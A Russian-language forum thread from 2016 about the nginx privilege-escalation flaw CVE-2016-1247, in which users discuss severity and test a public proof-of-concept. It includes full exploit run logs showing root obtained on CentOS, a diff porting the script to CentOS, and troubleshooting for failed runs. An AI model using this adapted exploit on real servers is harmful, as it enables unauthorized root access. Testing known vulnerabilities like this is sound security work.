Не, просто проблеме присвоили низкий уровень опасности.Aleksandra, то есть в шапке решили не фиксить уязвимость вообще?
Status: CLOSED WONTFIX
Я такой статус привык понимать несколько иначе. ☺
Отправлено 17 Ноябрь 2016 - 15:13
Не туда глянула, вместо Status на Priority.Я такой статус привык понимать несколько иначе. ☺
Если у них еще есть пользователь www-data, то пичалька.Фееричненько, особенно с учётом того, что большинство горе-админов selinux отключают.
Отправлено 17 Ноябрь 2016 - 15:24
Если у них еще есть пользователь www-dataОн там называется nginx, но какая разница?
Отправлено 17 Ноябрь 2016 - 15:51
На сколько я поняла, что если пользователь отличный можно не бояться. Не?Он там называется nginx, но какая разница?Если у них еще есть пользователь www-data
Отправлено 17 Ноябрь 2016 - 16:02
Если пользователь, отличный от root, может получить привилегии root, бояться стоит. Как бы этого пользователя ни звали.
В принципе, конечно, опасность меньше, потому что в Debian под пользователем www-data может работать довольно много разных сервисов, а в RHEL с клонами под nginx обычно работает один только nginx.
Отправлено 17 Ноябрь 2016 - 19:00
А названия тем то какие! Самба де-жанейро, муму... О_о
Александр Тарасов, Вы действительно думаете что мы все умрем? Вы ошибаетесь.
Вас так легко потролить, что даже скучно...
Отправлено 17 Ноябрь 2016 - 23:16
У меня не отработало даже с отключенным selinux. Стоит CentOS 7 версия nginx 1.10.2.В принципе, конечно, опасность меньше, потому что в Debian под пользователем www-data может работать довольно много разных сервисов, а в RHEL с клонами под nginx обычно работает один только nginx.
А зачем? Лучше станьте моим другом.Вас так легко потролить, что даже скучно...
Отправлено 17 Ноябрь 2016 - 23:47
https://www.opennet.ru/opennews/art.shtml?num=45515
root@localhost:/home/aleksa# ls -ld /var/log/nginx/ drwxr-xr-x 2 root root 4096 окт 18 21:37 /var/log/nginx/ root@localhost:/home/aleksa# ls -ld /var/log/nginx/* -rw-r--r-- 1 root root 0 окт 30 14:10 /var/log/nginx/access.log -rw-r--r-- 1 root root 75 окт 30 14:15 /var/log/nginx/error.log
Отправлено 18 Ноябрь 2016 - 13:19
У меня не отработало даже с отключенным selinux. Стоит CentOS 7 версия nginx 1.10.2.
bash-4.2$ lsb_release -a LSB Version: :core-4.1-amd64:core-4.1-noarch Distributor ID: CentOS Description: CentOS Linux release 7.2.1511 (Core) Release: 7.2.1511 Codename: Core bash-4.2$ rpm -q nginx nginx-1.10.1-1.el7.x86_64 bash-4.2$ getenforce Permissive bash-4.2$ ./nginxed-root.sh /var/log/nginx/error.log _______________________________ < Is your server (N)ginxed ? ;o > ------------------------------- \ \ __---__ _- /--______ __--( / \ )XXXXXXXXXXX\v. .-XXX( O O )XXXXXXXXXXXXXXX- /XXX( U ) XXXXXXX\ /XXXXX( )--_ XXXXXXXXXXX\ /XXXXX/ ( O ) XXXXXX \XXXXX\ XXXXX/ / XXXXXX \__ \XXXXX XXXXXX__/ XXXXXX \__----> ---___ XXX__/ XXXXXX \__ / \- --__/ ___/\ XXXXXX / ___--/= \-\ ___/ XXXXXX '--- XXXXXX \-\/XXX\ XXXXXX /XXXXX \XXXXXXXXX \ /XXXXX/ \XXXXXX > _/XXXXX/ \XXXXX--__/ __-- XXXX/ -XXXXXXXX--------------- XXXXXX- \XXXXXXXXXXXXXXXXXXXXXXXXXX/ ""VXXXXXXXXXXXXXXXXXXV"" Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) nginxed-root.sh (ver. 1.0) Discovered and coded by: Dawid Golunski https://legalhackers.com Modified by Dmitry Mikhirev to work on CentOS [+] Starting the exploit as: uid=987(nginx) gid=982(nginx) группы=982(nginx) контекст=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [+] Compiling the privesc shared library (/tmp/privesclib.c) [+] Backdoor/low-priv shell installed at: -rwxr-xr-x. 1 nginx nginx 960392 ноя 18 13:03 /tmp/nginxrootsh [+] The server appears to be (N)jinxed (writable logdir) ! :) Symlink created at: lrwxrwxrwx. 1 nginx nginx 18 ноя 18 13:03 /var/log/nginx/error.log -> /etc/ld.so.preload [+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am... [+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: -rw-r--r--. 1 nginx root 19 ноя 19 06:25 /etc/ld.so.preload [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload [+] The /etc/ld.so.preload file now contains: /tmp/privesclib.so [+] Escalating privileges via the /bin/su SUID binary to get root! -rwsrwxrwx. 1 root root 960392 ноя 18 13:03 /tmp/nginxrootsh [+] Rootshell got assigned root SUID perms at: -rwsrwxrwx. 1 root root 960392 ноя 18 13:03 /tmp/nginxrootsh The server is (N)jinxed ! ;) Got root via Nginx! [+] Spawning the rootshell /tmp/nginxrootsh now! nginxrootsh-4.2# whoami root nginxrootsh-4.2#
Сообщение было изменено Dmitry Mikhirev: 18 Ноябрь 2016 - 13:20
Отправлено 18 Ноябрь 2016 - 14:59
aleksa@linux1:~# lsb_release -a LSB Version: :core-4.1-amd64:core-4.1-noarch Distributor ID: CentOS Description: CentOS Linux release 7.2.1511 (Core) Release: 7.2.1511 Codename: Core aleksa@linux1:~# rpm -q nginx nginx-1.10.2-1.el7.ngx.x86_64 aleksa@linux1:~# getenforce Disabled
aleksa@linux1:~# ls -l nginxed-root.sh
-rwxr--r-- 1 aleksa aleksa 7231 ноя 18 16:45 nginxed-root.sh
Чего-то не выходит. Попробуем еще раз. Права, пользователь, группа какие должны быть?
Отправлено 18 Ноябрь 2016 - 16:43
--- nginxed-root.sh.orig 2016-11-19 06:36:48.181000000 +0300 +++ nginxed-root.sh 2016-11-19 06:42:03.082000000 +0300 @@ -50,7 +50,8 @@ BACKDOORPATH="/tmp/nginxrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" -SUIDBIN="/usr/bin/sudo" +SUIDBIN="/bin/su" +NGINXUSER='nginx' function cleanexit { # Cleanup @@ -100,7 +101,8 @@ _eascii_ echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n" -echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m" +echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com\n" +echo -e "Modified by Dmitry Mikhirev to work on CentOS\033[0m" # Args if [ $# -lt 1 ]; then @@ -112,9 +114,9 @@ # Priv check echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m" -id | grep -q www-data +id -un | grep -q "^$NGINXUSER\$" if [ $? -ne 0 ]; then - echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n" + echo -e "\n[!] You need to execute the exploit as $NGINXUSER user! Exiting.\n" exit 3 fi
Запускать надо, понятное дело, из-под пользователя nginx.
Отправлено 18 Ноябрь 2016 - 18:08
Кстати, на опеннете высказали разумную мысль:
А почему проблему видят в дебиане, а не в работе nginx с файлами логов? При получении сигнала USR1 он переоткрывает логи, создавая описанную проблему с симлинками. То есть единственное, в чем виноваты некоторые(к примеру в wheezy это не так) из debian дистров, так в том, что /var/log/nginx имеет владельца www-data. Однако ведь точно такая же проблема возникнет, если админ скажет nginx класть логи для виртуалхостов непосредственно в их каталоги, что весьма удобно и никаких предупреждений на этот счет в доке nginx нет.
https://trac.nginx.org/nginx/ticket/1134#ticket
Сообщение было изменено Dmitry Mikhirev: 18 Ноябрь 2016 - 18:08
Отправлено 20 Ноябрь 2016 - 13:28
cat /etc/passwd покажите.Запускать надо, понятное дело, из-под пользователя nginx.
Отправлено 20 Ноябрь 2016 - 14:15
Я ту виртуалку давно уже прибил, но ничего необычного там не было. Пользователь nginx создаётся при установке одноимённого пакета из epel.
Отправлено 20 Ноябрь 2016 - 20:02
Это все понятно. Я другое не поняла, как Вам удается запустить эксплоит от пользователя nginx без пароля?Пользователь nginx создаётся при установке одноимённого пакета из epel.
Отправлено 20 Ноябрь 2016 - 20:04
Сообщение было изменено Aleksandra: 20 Ноябрь 2016 - 20:05
Отправлено 20 Ноябрь 2016 - 20:08
# su -s /bin/bash nginx
Сообщение было изменено Dmitry Mikhirev: 20 Ноябрь 2016 - 20:10
Отправлено 20 Ноябрь 2016 - 20:43
Подправила так называемый эксплоит. Заменила www-data на nginx. Запускаем...
nginx@localhost:/home/aleksa# ./nginxed-root.sh /var/log/nginx/error.log _______________________________ < Is your server (N)jinxed ? ;o > ------------------------------- \ \ __---__ _- /--______ __--( / \ )XXXXXXXXXXX\v. .-XXX( O O )XXXXXXXXXXXXXXX- /XXX( U ) XXXXXXX\ /XXXXX( )--_ XXXXXXXXXXX\ /XXXXX/ ( O ) XXXXXX \XXXXX\ XXXXX/ / XXXXXX \__ \XXXXX XXXXXX__/ XXXXXX \__----> ---___ XXX__/ XXXXXX \__ / \- --__/ ___/\ XXXXXX / ___--/= \-\ ___/ XXXXXX '--- XXXXXX \-\/XXX\ XXXXXX /XXXXX \XXXXXXXXX \ /XXXXX/ \XXXXXX > _/XXXXX/ \XXXXX--__/ __-- XXXX/ -XXXXXXXX--------------- XXXXXX- \XXXXXXXXXXXXXXXXXXXXXXXXXX/ ""VXXXXXXXXXXXXXXXXXXV"" Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) nginxed-root.sh (ver. 1.0) Discovered and coded by: Dawid Golunski https://legalhackers.com [+] Starting the exploit as: uid=998(nginx) gid=997(nginx) группы=997(nginx) [+] Compiling the privesc shared library (/tmp/privesclib.c) /bin/bash: gcc: команда не найдена [!] Failed to compile the privesc lib /tmp/privesclib.c. [+] Cleaning up... rm: невозможно удалить «/var/log/nginx/error.log»: Отказано в доступе touch: невозможно выполнить touch для «/var/log/nginx/error.log»: Отказано в доступе [+] Job done. Exiting with code 2
Предлагает поставить на сервер компилятор. О_о
Ставим... Снова запускаем.
nginx@localhost:/home/aleksa# ./nginxed-root.sh /var/log/nginx/error.log _______________________________ < Is your server (N)jinxed ? ;o > ------------------------------- \ \ __---__ _- /--______ __--( / \ )XXXXXXXXXXX\v. .-XXX( O O )XXXXXXXXXXXXXXX- /XXX( U ) XXXXXXX\ /XXXXX( )--_ XXXXXXXXXXX\ /XXXXX/ ( O ) XXXXXX \XXXXX\ XXXXX/ / XXXXXX \__ \XXXXX XXXXXX__/ XXXXXX \__----> ---___ XXX__/ XXXXXX \__ / \- --__/ ___/\ XXXXXX / ___--/= \-\ ___/ XXXXXX '--- XXXXXX \-\/XXX\ XXXXXX /XXXXX \XXXXXXXXX \ /XXXXX/ \XXXXXX > _/XXXXX/ \XXXXX--__/ __-- XXXX/ -XXXXXXXX--------------- XXXXXX- \XXXXXXXXXXXXXXXXXXXXXXXXXX/ ""VXXXXXXXXXXXXXXXXXXV"" Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) nginxed-root.sh (ver. 1.0) Discovered and coded by: Dawid Golunski https://legalhackers.com [+] Starting the exploit as: uid=998(nginx) gid=997(nginx) группы=997(nginx) [+] Compiling the privesc shared library (/tmp/privesclib.c) [+] Backdoor/low-priv shell installed at: -rwxr-xr-x 1 nginx nginx 960392 ноя 20 22:38 /tmp/nginxrootsh rm: невозможно удалить «/var/log/nginx/error.log»: Отказано в доступе [!] Couldn't remove the /var/log/nginx/error.log file or create a symlink. [+] Cleaning up... rm: невозможно удалить «/var/log/nginx/error.log»: Отказано в доступе touch: невозможно выполнить touch для «/var/log/nginx/error.log»: Отказано в доступе [+] Job done. Exiting with code 3
Что дальше?
Отправлено 20 Ноябрь 2016 - 21:00
Aleksandra, не ведитесь.
Отправлено 20 Ноябрь 2016 - 21:06
ls -ld /var/log/nginx
ls -l /var/log/nginx/error.log
getenforce
0 пользователей, 0 гостей, 0 скрытых